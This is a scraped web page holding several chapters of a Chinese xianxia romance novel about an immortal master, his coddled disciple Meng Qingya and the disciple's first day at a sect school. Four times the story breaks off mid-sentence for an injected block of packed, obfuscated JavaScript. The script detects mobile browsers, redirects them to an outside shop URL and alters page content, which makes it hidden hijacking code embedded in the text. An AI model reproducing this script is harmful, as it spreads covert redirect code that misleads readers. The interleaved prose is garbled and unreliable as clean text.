容归的指尖微微收紧了一些,他低下头目光落在孟清涯的领口。那股莲香便是从孟清涯微微敞开的领口处飘出来的,像一条看不见的丝线,轻轻地、缓慢地缠上了容归。 孟清涯今日穿了一件粉绿色的薄衫,衣襟微微敞开,露出一小截白皙的脖颈和隐隐约约的锁骨轮廓。 容归移开目光将杯子放在旁边的石桌上,动作一如既往的从容不迫看不出任何异样,可心中的躁动只有他自己知道。 “水水,”容归开口,声音平稳如常,“你身上……” 孟清涯抬起头眨了眨眼,一脸茫然地望着容归:“我身上怎么了?” 容归看着他,孟清涯的眼睛清澈见底,像两汪被山泉填满的小潭,里面没有半分杂质,只有纯粹的、不掺任何杂质的疑惑和天真。 容归沉默了一瞬,在内心唾弃了自己一下。 “无事……”容归摇了摇头,“我们开始练剑吧。” “可是师尊……”孟清涯扭捏了两下,“我好像不是很喜欢剑诶,可以换个武器吗?” 容归:“……?” * 容归默默转身,决定冷落这个扎心的小徒弟几息。 “那你喜欢什么?” 几息的时间一晃而过,孟清涯浑然不觉自家师尊在他不知道的时候已经单方面的完成了一场冷战,他有些苦恼地说:“我也不清楚。” 容归默默转过身背对着孟清涯,他的身影依旧笔直,像一柄插在山巅的剑,看不出任何情绪。可若是有人绕到前面去看,便会发现容归那双浅珀色的眼睛里此刻正漾着一层极淡极淡的说不清道不明的神色。 当然不是生气,容归活了上万年早已不会因为这种小事动怒。更何况对方是他一手带大的水水,是他捧在手心里养了十六年的小徒弟。他怎么可能因为水水不喜欢剑就生气?他只是…… 容归在心里叹了口气,只是有些措手不及。 近些年他对很多事或物都越来越倦怠,就连剑招也喜欢返璞归真,化繁为简。 容归知道小徒弟喜欢那些花里胡哨的繁琐东西,在记忆里搜寻了半天才找到这套剑法舞出来。 方才那道剑法还是不知道多少年前容归尚且年少时在一次宴会上创的,他想让水水看看剑有多好看,看看剑术有多精妙。容归真的很想把自己的衣钵传给这个孩子,他以为水水会喜欢的。 事实证明他舞的时候水水确实看呆了也很喜欢,结果最后水水还是说:“我好像不是很喜欢剑诶。” 容归莫名感觉有些挫败。 * 不过他自然不会把负面情绪带到孟清涯面前,稍稍平复了一下心情后他转过身来又看向孟清涯。 似乎是因为容归刚才的沉默让孟清涯有些不安,他的双手绞在一起,默默垂头一言不发。 容归抬起手,轻轻落在孟清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374916|200047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涯的发顶上揉了揉。 “今日修炼得差不多了,”容归的声音平稳如常,“回去休息吧。” 孟清涯愣了一下,抬起头望着容归。容归的表情没有任何异样,既没有生气也没有失望,甚至连一点不高兴的影子都看不出来,可孟清涯就是觉得哪里不对。 “师尊,”孟清涯试探着开口,“你是不是生气了?” “没有。”容归的语气没有丝毫迟疑。 孟清涯盯着他的脸看了好一会儿,试图从那副清冷出尘的表情里找出一点蛛丝马迹,但却什么都没有找到。 “哦,”孟清涯低下头,声音小小的,“那我回去了。” 容归点了点头。 孟清涯转身往后山的小路上走,走了几步又回头看了一眼,不过此时容归却已不见了身影。 孟清涯收回目光,小粉从枝头飞下来落在他肩头,歪着脑袋看他,黑豆般的眼睛里满是好奇:“嘎,水水你怎么不高兴了嘎?” “我没有不高兴,”孟清涯伸手摸了摸小粉的脑袋,声音却有些闷闷的,“我就是觉得……师尊好像不太高兴,我可能惹师尊生气了。” 小粉歪了歪脑袋,没听懂。 孟清涯也不指望它能听懂,只是低着头,一边走一边在心里翻来覆去地想。 师尊真的没有生气吗?那为什么突然就让自己回去休息了?明明才练了不到一个时辰,平时师尊虽然不管他修炼,可一旦管起来那肯定是很严厉的,今天这是怎么了?是因为他说不喜欢剑吗?可是不喜欢就是不喜欢嘛,他也不能骗师尊啊。 孟清涯越想越觉得不安,忍不住在心里唤了一声:“0621。” “在呢。”系统0621的声音立刻响起来。 “你说,”孟清涯犹豫了一下,“我师尊是不是生我气了?” “因为你不想学剑?” “嗯。” 系统0621沉默了一会儿,像是在思考怎么回答这个问题。孟清涯紧张地等着,手指无意识地揪着小粉翅膀上的一根羽毛,疼得小粉“嘎”一声扑棱着翅膀飞到他头顶上去了。 系统0621也不是很懂,他只能把之前的经历往现在这个情况上套。 上个世界里小木头的师尊道玄真人是练剑的,但是小木头最后学的最厉害最拿手的却是炼丹,道玄真人也并未有半分不满。 系统0621能看出来容归对孟清涯十分宠爱,不比道玄真人对季寒桐的宠爱少,想来应该不会因为这种事生气吧? “宿主,你不妨对你和你师尊之间的感情多一点信任,”系统0621宽慰道,“你只是不喜欢练剑而已,又不是什么大事,他不至于因为这种事情生气的。” “可是为什么突然让我回去休息?”孟清涯还是不太放心。 “我觉得他可能需要一点时间独处?”系统0621猜测道,“你不要太担心啦,我上一任宿主最擅长的是炼丹,但是他的师尊精通的却是剑道,可是他们的关系一样很好,宿主你觉得你和你师尊的感情难道会比其他师徒差吗?” “肯定不会!”孟清涯立刻反驳道。 “那不就得了,放心吧不会有事的。”系统0621继续劝道。 孟清涯的心放下了一半。他把小粉从头顶上拿下来抱在怀里,一边往回走一边轻轻地摸它的羽毛。 让孟清涯回去休息后,容归一个人来到他平时会客的静室,施了个传音术法通知四脉峰主上来。 8. 第八章 传音的术法发出去不过半盏茶的工夫,静室外便响起了脚步声。 “仙尊传召,可是有什么要事?” 话音落时,四人的身影已经出现在门口。喻修谨率先跨过门槛,其余三人依次跟进,在静室中站定齐齐拱手行礼。 容归微微颔首,算是回礼,然后抬了抬下巴示意他们坐下,四人在对面的蒲团上落座。 容归端起一盏凉茶送到唇边抿了一口,茶水入口微涩,凉意顺着喉咙一路滑下去,将他心中那点说不清道不明的烦躁压下去了几分。他将茶盏放回案上,动作不轻不重,瓷盏与案面碰出一声极轻的脆响,在安静的静室中格外清晰。 四人的目光都落在他身上。 容归知道他们在等自己开口,他也知道自己该开口了,把人叫来却一言不发可不是个事。但他忽然不知道该怎么说,总不能对几人说:本座把你们叫来是因为本座不会教徒弟。 容归的指尖在袖中微微蜷缩了一下,面上却依旧是那副清冷出尘的模样看不出任何端倪。 “四脉今年收录的弟子资质如何?”容归还是先抛出了个别的话题。 四人面面相觑了一瞬。喻修谨率先反应过来,拱手答道:“回仙尊,今年收录弟子一百零八人,资质上佳者约有七成,其中以宁家的宁尘渊为最。” 容归点了点头,没有说话。 喻修谨等了片刻,见容归没有再开口的意思,便试探着问道:“仙尊可是对今年收录的弟子有什么吩咐?” 容归看了他一眼,摇了摇头。 “那……”喻修谨有些不确定了。容归素来不怎么过问四脉的事务,更不会关心新弟子的资质。今日突然传召问了一句莫名其妙的话后便不再说话,这实在不像他的作风。 喻修谨的目光不动声色地扫过容归的面容,试图从那副万年不变的表情里找出一点线索,当然结果就是什么都没有。 过了一会,容归终于又开口:“四脉新弟子的课业是谁在教?怎么教?” 喻修谨答道:“回仙尊,新弟子入门后每十天为一个周期,前七天上午都安排了不同的内容所有弟子统一上大课,后面三天的上午则由他们自己选择去听哪位长老论道,每日的下午则由他们自己修炼基础心法。” 容归点了点头,指尖在杯沿上轻轻摩挲了一下,像是在斟酌什么。 “这些长老们,”容归顿了顿,似乎在挑选措辞,“都是怎么教弟子的?” 这个问题让四人都愣了一下。 喻修谨的眉头微微动了一下,很快又恢复如常。他沉吟了片刻,谨慎地答道:“各峰长老的教习之法不尽相同,不过前七天长老们讲的都是一些比较基础的东西,大抵不过是一些修真界历史、势力划分、各种天材地宝的辨认之类的,后面几天,无外乎因材施教,看弟子们自己喜欢什么。” 容归的指尖在杯沿上停住了。 “若是有弟子,”容归缓缓开口,声音比方才更低了一些,“不知自己喜好什么,也不知自己适合什么,该当如何?” 静室里安静了一瞬,所有人面上不显,但心中同时惊讶。四人都在同一瞬间意识到了一件事:仙尊问的不是四脉的弟子,问的是孟清涯。 容归的面色没有丝毫变化。他端起茶盏又抿了一口,动作从容不迫,仿佛方才那个问题只是随口一问没有任何深意。 见其他三人不停的给自己使眼色,喻修谨在内心暗骂几人是畜生,然后硬着头皮向容归开口。 “弟子愚钝,斗胆说几条,”喻修谨声音恭敬:“孟……那个弟子既然不知自己喜好什么,那便让他多看看,多试试。修真百艺,剑道、刀法、枪术、阵法、符箓、炼丹、炼器、驭兽、占卜、音律、书画、棋艺……总有一门是他喜欢的。” “让他多看看,多试试……”容归低声重复了一遍这句话,像是在咀嚼其中的每一个字。 静室里又安静了下来,南脉峰主聂成双往前探了探身子,声音压低道:“仙尊,弟子有个主意不知当讲不当讲。” 容归看了他一眼,微微点头。 聂成双得了许可,声音立刻亮了几分:“既然您不知道该怎么教孟公子,不如让孟公子也去学塾里上几天课跟那些新弟子一起听听,一起练练。他一个人待在山上没怎么见过天地阔大,自然不知道自己喜欢什么。” 聂成双说完满怀期待地看着容归,而其他三人则是默默离这个憨货远了一点。 虽然你说的话有道理,虽然我们几个也是这么想的,但是你这憨货这么直白地说出来是一点都不怕仙尊责罚啊!你这不明白的是在说仙尊教弟子不行吗! 容归没有立刻回答。他坐在蒲团上,背脊挺直,双手搭在膝上,表情依旧是淡淡的看不出任何情绪,可他的心里此刻并不像他面上那样平静。 让水水下山去跟那些新弟子一起学习?即便四脉也是寒镜山的地盘,可容归现在是见不得孟清涯有任何一丝一毫出意外的可能性。 但是…… 容归的指尖在膝上微微收紧了一些。闭了闭眼将那些乱七八糟的念头压下去。 “把四脉的课程时间换一下,上午由弟子们自行修行基础功法,下午再由长老们授课。” 喻修谨四人虽不明白容归这么设置的目的,但也是恭敬地应下了。 其实容归这么做的目的很简单,不想让孟清涯起那么早受累,从今天的事也可以看出水水是真起不了一点早。 喻修谨四人站起身来,齐齐拱手告退。几个人的脚步比来时快了几分都想赶紧离开这间静室。 方才那番对话看似平常,可谁都知道仙尊今日问的每一个问题都跟那位孟公子有关,关于他们俩的事,还是知道得越少越好。 “聂成双。” 容归的声音从身后传来,不轻不重,恰好让走在最后面的聂成双脚步一顿。 其他三人的步伐同时加快了几分,只留给聂成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374917|200047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双一个自求多福的背影。 聂成双转过身来,脸上堆着笑,心里却已经开始打鼓了。他走回静室中央规规矩矩地站好,拱手道:“仙尊还有何吩咐?” 容归没有立刻说话。聂成双站在那里,笑容一点一点地僵住了,心里把自己方才说过的话翻来覆去地检查了一遍——他说什么了?让孟公子下山去学塾上课?那不是其他三人也这么想的吗?凭什么只留他一个? “大齐王朝那边,”容归开口,声音不疾不徐,“我要你去帮我取一样东西。” 聂成双眨了眨眼,有些摸不着头脑:“仙尊要偷什么?我立刻去办。” 容归:“……” 容归太阳穴上的青筋跳了跳,感受到了一股深深的无力,自己在这几个峰主面前的形象就是这样的吗?他从未缺过天材地宝,何时需要去偷了? “我和大齐王朝的君主交易了一样东西,你去取过来。”容归无奈地揉了揉眉心。 “原来只是这样啊。”聂成双松了口气,随即后知后觉反应过来有些不对劲。 这么简单的事,却让他一个大忙人亲自去做,仙尊这是在……完了,这张破嘴好像又说错话了。 聂成双欲哭无泪,内心一阵凄风苦雨。 容归才不去想不靠谱的下属如今在想什么,径直离开去找孟清涯。 暮色已经铺满了整个寒镜山,天边的云被夕阳烧成一片金红色,像是谁在天上泼了一整罐的蜜糖。 容归沿着青石小路往寝殿走,转过弯,寝殿的檐角出现在视线里。 他推门进去,孟清涯正坐在榻边,怀里抱着小粉低着头不知道在想什么。 见到他来了,孟清涯立刻高高兴兴地迎了上去。 “师尊!” 容归张开双臂,稳稳地接住扑过来的小徒弟,任由孟清涯毛茸茸的脑袋在他怀中拱了好一会才拉着人坐到榻边。 “水水,有件事跟你说。” 孟清涯竖着耳朵认真听。 “从明日开始,你下山去四脉的学塾跟新弟子一起上课。” 孟清涯没有立刻反应过来。下山,这个词在他的脑子里转了一圈又一圈,仿佛不明白这两个词是什么意思似的。 他望着容归,眼睛里已经添上了一层薄薄的水光。 “师尊,你说什么?” 容归把方才的话又重复了一遍:“去四脉的学塾跟新弟子一起上课,长老们会教很多东西,你可以看看自己喜欢什么。” 系统0621在孟清涯识海中自然也听到了这番话,脑子瞬间就宕机了。 ???不会真生气了吧?这剧本好像有点不对劲? 它本意是想让孟清涯跟容归多贴贴,多增进一下感情,怎么反倒还让容归把人往外推了呢。 容归总不能真的因为孟清涯不跟他学剑而破防了吧? “师尊,”孟清涯的嘴唇开开合合,声音细若蚊蝇,“你不要我了吗?” 9. 第九章 说出这句话的时候,孟清涯的眼眶就已经红了。 容归的眉头微微蹙起来:“水水别误会,我何时说过不要你了?” 孟清涯低下头,手指绞着衣角,把那片布料绞出一道一道的褶皱。 “那你为什么让我下山?我不要下山,我就要待在山上,待在师尊身边,我哪儿都不去!” 说着说着,孟清涯的眼泪就啪嗒啪嗒地掉下来。这次他不是以往那种嚎啕大哭,而是安安静静地掉眼泪,一颗颗从眼眶里滚出来顺着脸颊滑下去,滴在衣襟上洇出一小片一小片的湿痕。 孟清涯没有哭出声,咬着下唇拼命地眨眼想把剩下的眼泪逼回去,可越眨越多,越眨越凶,最后连睫毛都湿了,粘在一起变成一撮一撮的小刷子。 容归伸出手将孟清涯的下巴轻轻抬起来,让那张湿漉漉的小脸对着自己。 “水水,看着我。”容归说。 孟清涯不想看,把眼睛别到一边去,可容归的手不重不轻地托着他的下巴不让他转开。他只好把目光转回来,对上容归那双浅珀色的眼睛。 “师尊怎么可能会不要你?”容归用指腹轻柔地为他拭去眼泪,“你这是在剜我的心啊……” 孟清涯的眼泪又涌出来一波,心脏也是一阵一阵的抽疼。他吸了吸鼻子,像是一只被雨淋湿了的小奶猫在叫:“我不要下山,下山之后我想你了怎么办?” 说到最后几个字的时候,孟清涯的声音已经小得几乎听不见了,语气中满满的委屈和羞怯。 “寒镜山和四脉之间有传送法阵,只需要几息的功夫,你依旧可以和师尊待在一起,不过只是多了每天下午去上几节课而已。” 孟清涯眨了眨眼,努力把眼泪憋回去了一点。这他还真不知道,上次他下山时就是老老实实走下去的,他还以为师尊是要把他赶下山去呢。 “你不是说对练剑不感兴趣吗?师尊不会逼你,”容归继续说,“长老们会教很多东西,你可以去看看喜欢什么,实在没有喜欢的东西也没关系,大不了逃课就是了,没人敢说你什么的,就当是去玩玩。” “真的?”孟清涯小心翼翼地试探。 “真的。” “不是不要我?” “不是。” “那师尊让不让我回不回来?” 容归看着他,忽然觉得有些好笑。 “当然,这里是你家。” * 第二日。吃过午膳,孟清涯便要去山下上课了。 临走之前,容归拿出一个鼓鼓囊囊的小布包递给孟清涯。 “这是什么?”孟清涯好奇地接过。 “给你带的。”容归说着便将布包打开,一样一样地往外拿。 “你爱喝的灵果汁,应该够喝一天了,若是喝完了,学塾里有茶水,不过你可能喝不惯,还是带自己的好。” “糕点,桃花糕和莲子酥,各装了半盒,若是饿了就吃,不要饿着肚子听课。” “蜜饯,”容归顿了顿,看了孟清涯一眼,“只带了几颗,吃完了就没了,不要一次吃完。” 孟清涯的嘴巴微微张开,看着容归一样一样地从那个小小的布包里往外拿东西,越拿越多,越拿越觉得不对劲。灵泉水、糕点、蜜饯、手帕、外袍、披风、一把小巧的折扇、一只装了安神香的香囊、一盒治肚子疼的药丸、一盒治摔伤擦伤的药膏…… “师尊等一下,”孟清涯终于忍不住了,伸手按住容归正在往外面拿药膏的手,“我只是去上个课,不是去搬家。” 容归的手顿了一下,低头看着被按住的手,又抬头看着孟清涯。那张清冷出尘的脸上没有任何表情,可孟清涯就是觉得,师尊好像有些不好意思? “以防万一,”容归语气淡淡的,“这些都是再正常不过的出门必备的东西。” 孟清涯都有些无奈了,昨天是谁明里暗里表示去四脉不算出远门? 识海里,系统0621也忍不住了:“宿主,你应该只是上个课,而不是去搬家吧?这比搬家还夸张啊。” 而且系统0621觉得真要是搬家了,容归肯定又不乐意了。 孟清涯没有拒绝,反正不管有用没用,通通塞到容归送给他的储物戒指里放着。 终于,一切收拾妥当。孟清涯站在铜镜前转了一圈,粉绿色的薄衫衬得他肤色愈发白皙,五官小巧精致,整个人都透露着一股蓬勃朝气。 “好看吗?”孟清涯转过头,望着容归。 容归站在孟清涯身后,目光落在他身上看了很久。久到孟清涯以为自己是不是有哪里不妥当低头又仔细检查了一遍,结果什么都没有发现。 等他再抬起头的时候,容归已经移开了目光。 “嗯。”容归轻轻应了一声。 孟清涯弯起眼睛笑了,转身往殿外走。走了两步发觉身后没有脚步声,回过头就见容归还站在原地没有跟上来。 “师尊,”孟清涯有些奇怪,“你不送我过去吗?” 容归沉默了一瞬,然后摇了摇头:“你自己去,传送法阵的用法我昨日教过你。” 孟清涯“哦”了一声,乖乖地点了点头。他转过身往外走了几步,又停下来回头看了容归一眼。容归还站在原地,面色如看不出任何异样,可孟清涯就是觉得师尊好像有些舍不得。 他咬了咬下唇,忍住了跑回去抱住师尊的冲动,又转过身继续往外走,走到门口的时候又停下来了。这一次他没有回头,只是背对着容归,声音闷闷地传过来:“师尊,那我走了。” “嗯。” “我真的走了。” “嗯。” “你不要想我。” 这一次容归没有回答。 孟清涯深吸了一口气,迈过门槛头也不回地往后山传送法阵那里走。银铃随着他的脚步叮叮当当地响着,清脆又欢快。 容归站在原地,听着那串银铃声一点一点地远去,越来越小,越来越轻,最后消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374918|200047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失在风中。 还是不去了,如果去送了,他怕自己狠不下心离开水水。 * 孟清涯被传送到山下的时候,已经有人在此早早等候了。 “孟公子。”沈惊蛰快步走过来,拱手行了一礼,语气里带着几分恰到好处的恭敬,却又不显得过于疏离。 孟清涯弯起眼睛笑了笑,声音脆生生的:“沈师兄。” “我可不敢做您的师兄。”沈惊蛰连忙摆手。 孟清涯却毫不在意:“没事的,不用考虑那么多,你年长我几岁,我喊你一声师兄是应该的。” 沈惊蛰的嘴角微微翘了一下,很快又压下去。他侧过身做了个请的手势:“孟公子请随我来,学塾在这边。” * 沈惊蛰身上也有不少课业和事务要忙,把孟清涯送到后便很快离开了。 孟清涯好奇地打量了一下眼前的学塾,往讲堂里扫了一圈,里头已经坐了十几个弟子。此刻都低着头,翻书的翻书,研墨的研墨,喝茶的喝茶,一个比一个专注,一个比一个认真。 孟清涯眨了眨眼,往最后一排走去,在靠窗的那个蒲团上坐下来。 低头收拾东西时,孟清涯清晰地感受到身上传来了不少目光。 可等他抬头时,所有的视线又都被收回去了。孟清涯被看得有些发毛,下意识地缩了缩肩膀把目光移开,继续低头收拾东西。 似乎是察觉到孟清涯不在乎这些,那些目光大胆了几分,甚至开始窃窃私语起来。 他们的声音压得很低很低,几乎是从嗓子里挤出来的气音。可孟清涯的耳朵很好,好得能在这些气音里听出一些东西来。 “就是那个……仙尊的徒弟……” “上次收徒大典上晕过去的那个?” “对对对就是他……听说仙尊为了他……” “这种金贵的人可磕碰不得,咱们还是离他远点吧,免得受罚。” “也是,惹不起我还躲不起吗……” 孟清涯的头压得更低了,那些言语和目光就像一根一根细小的针,不疼,却扎得人浑身不自在。 他有些失落。 其实决定要下山上课后,孟清涯对学习生涯也是有一点小小的期待的,但是他没想到原来自己的到来对别人来说是一种麻烦。 明天还是不来了吧。 孟清涯低着头绞了绞手指,心中一阵落寞。深吸了一口气,他从蒲团上站起来。孟清涯起身的动作不算大,但他身上的银铃还是响了,叮叮当当的,在安静的讲堂里格外清脆。 铃声像一颗被扔进池塘里的石子,涟漪荡开惊起了满池的鱼——所有原本偷偷摸摸打量孟清涯的目光在他站起来的那一瞬间齐刷刷地缩了回去,快得像被烫到了一样。 孟清涯伸到一半的手就那么僵在了半空中,收也不是,不收也不是。 他微微蜷了蜷手指,只觉尴尬无比。 救命,有没有人能来救救他。 10.第十章 孟清涯不知所措地站在原地,在想自己现在该说什么。说“你们好,我叫孟清涯”?还是“你们不用躲我,我不会咬人”?或者干脆什么都不说就那么坐回去假装什么都没有发生过?孟清涯的脑子里乱糟糟的,像有一群蜜蜂在里面飞来飞去,嗡嗡声弄得他头都晕了。 就在他准备把手收回来的时候,旁边传来了一个温和的男声。 “这个位置有人吗,小孟?” 孟清涯转过头,面前是一张很好看的脸,不是师尊那种清冷出尘、让人不敢直视的好看,而是另一种温润如玉的好看。 孟清涯愣了一下才反应过来他在问什么,摇了摇头。 “没有人坐。” 少年点了点头,在他旁边的蒲团上坐下来。他的动作很随意,孟清涯却有些束手束脚的。 这个人怎么如此自来熟啊…… * “我叫云知寒,”少年微微转过头。看向孟清涯。 孟清涯的手指在袖子里攥紧了。云知寒,原书的主角,这个世界的宠儿,没想到他居然也是这一届的弟子。 不过既然这个人那么厉害,那为什么这一届的第一名是宁尘渊啊? 云知寒似乎没有察觉到他的异样,从储物戒指里不急不缓地拿出书册整整齐齐地摆在矮案上。 讲堂里的人越来越多了,各种声音混在一起把方才那种死一般的安静冲散了一些。 “小孟。”云知寒的声音忽然从旁边传过来。 孟清涯转过头,对上那双深黑色的眼睛。云知寒正看着他,表情依旧是那种淡淡的温和,看不出什么特别的意思,可他的目光很认真。 “我们能不能做朋友?”云知寒问。 孟清涯愣住了。他不知道该怎么回答,虽然说他从来没有交过朋友,但孟清涯也知道没有人见第一次面就喊着要跟人家做朋友的啊。 就在他手足无措时讲堂门口又传来了一阵脚步声,孟清涯抬起头,看见了宁尘渊。 宁尘渊跨进门槛的时候目光在讲堂里扫了一圈,扫到孟清涯和云知寒坐在一起时他微微蹙了一下眉,随即他走到倒数第二排在孟清涯前面的那个蒲团上坐了下来。 * 下午的课很快过去,孟清涯慢吞吞地收拾东西准备离开。 “小孟。”云知寒的声音从旁边传过来。 孟清涯转过头,云知寒已经收拾好了东西,正站在矮案旁边看着他。 “我送你回去吧。”云知寒说。 孟清涯顿了一下,然后摇了摇头。他的动作很快,快得像是被烫到了一样,摇完头之后才觉得自己有些失礼,连忙补了一句:“不用了,我自己回去就好。” “我送你。” 这三个字从前面传过来的时候孟清涯和云知寒同时愣了一下,宁尘渊不知道什么时候已经站了起来正看着他们。 “好。”孟清涯想了想,同意了。 云知寒神色没有半分变化,仿佛孟清涯如此落他面子他也毫不生气。 * 孟清涯跟在宁尘渊身后往外走,暮色已经铺了半边天,橘红色的光从云层的缝隙里漏下来,把整个学塾的院子染得暖融融的。 一直走到学塾后面的一棵老槐树下,宁尘渊才停下来。 “孟公子。”宁尘渊开口道。 孟清涯眨了眨眼,等着他的下文。 宁尘渊沉默了一瞬,似乎在斟酌措辞。他的眉头微微蹙着,嘴唇抿成一条直线,神色略显严肃。 “离云知寒远一点。” 孟清涯愣了一下。 宁尘渊的目光落在他脸上,带着几分审视:“他那个人并不简单,你不要被他骗了。” “你……”孟清涯斟酌了一下用词,“你是专门来跟我说这个的?” 宁尘渊点了点头。 孟清涯有些好笑:“我看着像是很容易被骗走的样子吗?” 宁尘渊十分认真地点头:“像啊。”呆呆的。 孟清涯立刻就炸毛了:“你这个人说话真不中听,放心吧就算没有你的提醒我也没打算和他深交,再见。” 说完便头也不回地离开了,他以为宁尘渊有什么重要的事呢,结果就这? 徒留宁尘渊一个人有些愣愣地站在原地。 * 孟清涯气鼓鼓地离开,脑子里翻来覆去地响着宁尘渊那句话——“像啊。” 像什么像!他哪里像容易被骗走的样子了?他好歹也是师尊亲手带大的,见过的人虽然不多,可看人的本事还是有的。云知寒那人一看就心思深沉,他怎么可能看不出来?用得着宁尘渊特意跑来提醒? 再说了,就算自己看起来不太聪明……不对,自己明明就很聪明! 孟清涯越想越气,腮帮子鼓得像仓鼠,浑身的毛都炸着。 * “是谁惹我们水水生气了?” 孟清涯惊讶地抬头,容归就站在传送法阵外。天蓝色的衣袍在晚风中微微拂动,乌发以白玉簪束起,几缕碎发被风吹落在脸侧,负手而立,姿态闲适。 孟清涯愣了一下:“师尊?你怎么在这里?” 不怪孟清涯震惊,不仅是他自己,从他有记忆起,容归这些年也未曾下过山,有什么事基本都是四脉的峰主上寒镜山来禀报。 容归没有回答,只是微微侧过头,浅珀色的眼睛在暮色中显得格外温和。他的目光落在孟清涯脸上,从上到下扫了一遍,像是在确认什么。 孟清涯被那道目光看得心里一软,方才在路上积攒的那点气恼瞬间烟消云散,取而代之的是一股酸酸涨涨的委屈。 他三步并作两步跑过去,一头扎进容归怀里,把脸埋在师尊的颈窝里,闷闷地喊了一声:“师尊。” 容归稳稳地接住他,手臂自然而然地环上来,一只手揽住孟清涯的腰,另一只手轻轻按在他后脑勺上。 “告诉师尊,师尊帮你出气好不好?”容归的声音从头顶传来,温柔极了。 孟清涯在他颈窝里哼哼唧唧地蹭着,也没正面回答。 过了好一会儿孟清涯才慢慢地把脸从容归颈窝里抬起来,他的脸颊被蹭得微微泛红,清澈的眸子在暮色中显得格外透亮。 容归低头看着他,抬手用指腹轻轻蹭了一下孟清涯的脸颊。 “今日第一次去学塾,”容归的声音不疾不徐,“感觉怎么样?” 孟清涯的睫毛扑扇了两下。他不打算把那些事告诉师尊,他想先自己处理一下。 下定决心后,孟清涯弯起眼睛笑了笑,露出一副云淡风轻的模样。 “还好呀,”孟清涯的声音脆生生的,带着一点刻意的轻快,“下午的课挺有意思的,长老讲了一些我都没听过的故事,我以前都不知道原来最早的几个四脉峰主是师尊年少时的侍卫,还有……” 他说的是实话,下午的课确实讲了这些,他也确实听得津津有味。至于其他的……那些不愉快的事情就没必要让师尊知道了。 容归看着他,没有立刻说话。 暮色越来越深,天边最后一抹橘红被灰黑色的暮霭吞没,几颗星星隐隐约约地出现在东边的天际,容归的面容在暗下来的光线中看不太真切。 “只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378016|200047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这些吗?”容归问。 孟清涯眨了眨眼,有些心虚地避开了容归的目光。他低下头,手指无意识地揪着容归的衣袖,把那片天蓝色的布料揪出一道一道的褶皱。 “就这些呀,”孟清涯的声音小了几分,“就是去上课而已,还能有什么。” 他说完又抬起头,对上容归的眼睛,努力让自己的表情看起来真诚又坦然。 “好,那我们回家。” * 容归牵起孟清涯的手,掌心干燥温热,将孟清涯那只小巧的手整个包裹住。孟清涯的手指不自觉地蜷缩了一下,又慢慢舒展开来,乖乖地任由师尊牵着。 直到进了殿内,容归才松开手。他走到榻边坐下,抬手将榻旁的一盏灯点亮,暖黄色的光晕开,把整个寝殿映得温暖又妥帖。 孟清涯跟过去,在容归身边坐下,习惯性地往他那边靠了靠。容归自然而然地伸手揽住他的肩,把人往怀里带了带。 “水水。”容归忽然开口。 孟清涯抬起头,对上那双浅珀色的眼睛。烛光在容归眼底跳动,把那层平素的淡漠都融化了几分,露出底下柔软的只属于孟清涯的温和。 “今日是你第一次去上课,师尊有个礼物要送你。” 孟清涯的眼睛瞬间亮了起来,他整个人都精神了,方才那点闷闷不乐跑得干干净净,屁股在榻上挪了挪,往容归那边又凑近了几分。 “什么礼物?”孟清涯的声音里带着掩饰不住的期待,尾音翘得高高的,像一只翘起尾巴的小猫。 容归看着他这副模样,眼底漾开一层极淡的笑意。他没有卖关子,抬手从储物戒指中取出一物。 是一只手镯。 孟清涯的目光一下子就被吸引住了。 那只手镯通体莹润,是用一种孟清涯从未见过的材质打造的。镯身呈现出一种极浅的冰蓝色,却又不像冰那样冷冽,反而透着玉石般的温润光泽。 镯面上镶嵌着细碎的各色宝石,在烛光下折射出星星点点的光芒。宝石被精心排列成缠枝花的纹样,顺着镯身的弧度蜿蜒缠绕,精致又灵动。 内侧还刻着极细密的符文,在烛光下隐隐流动着银白色的微光, 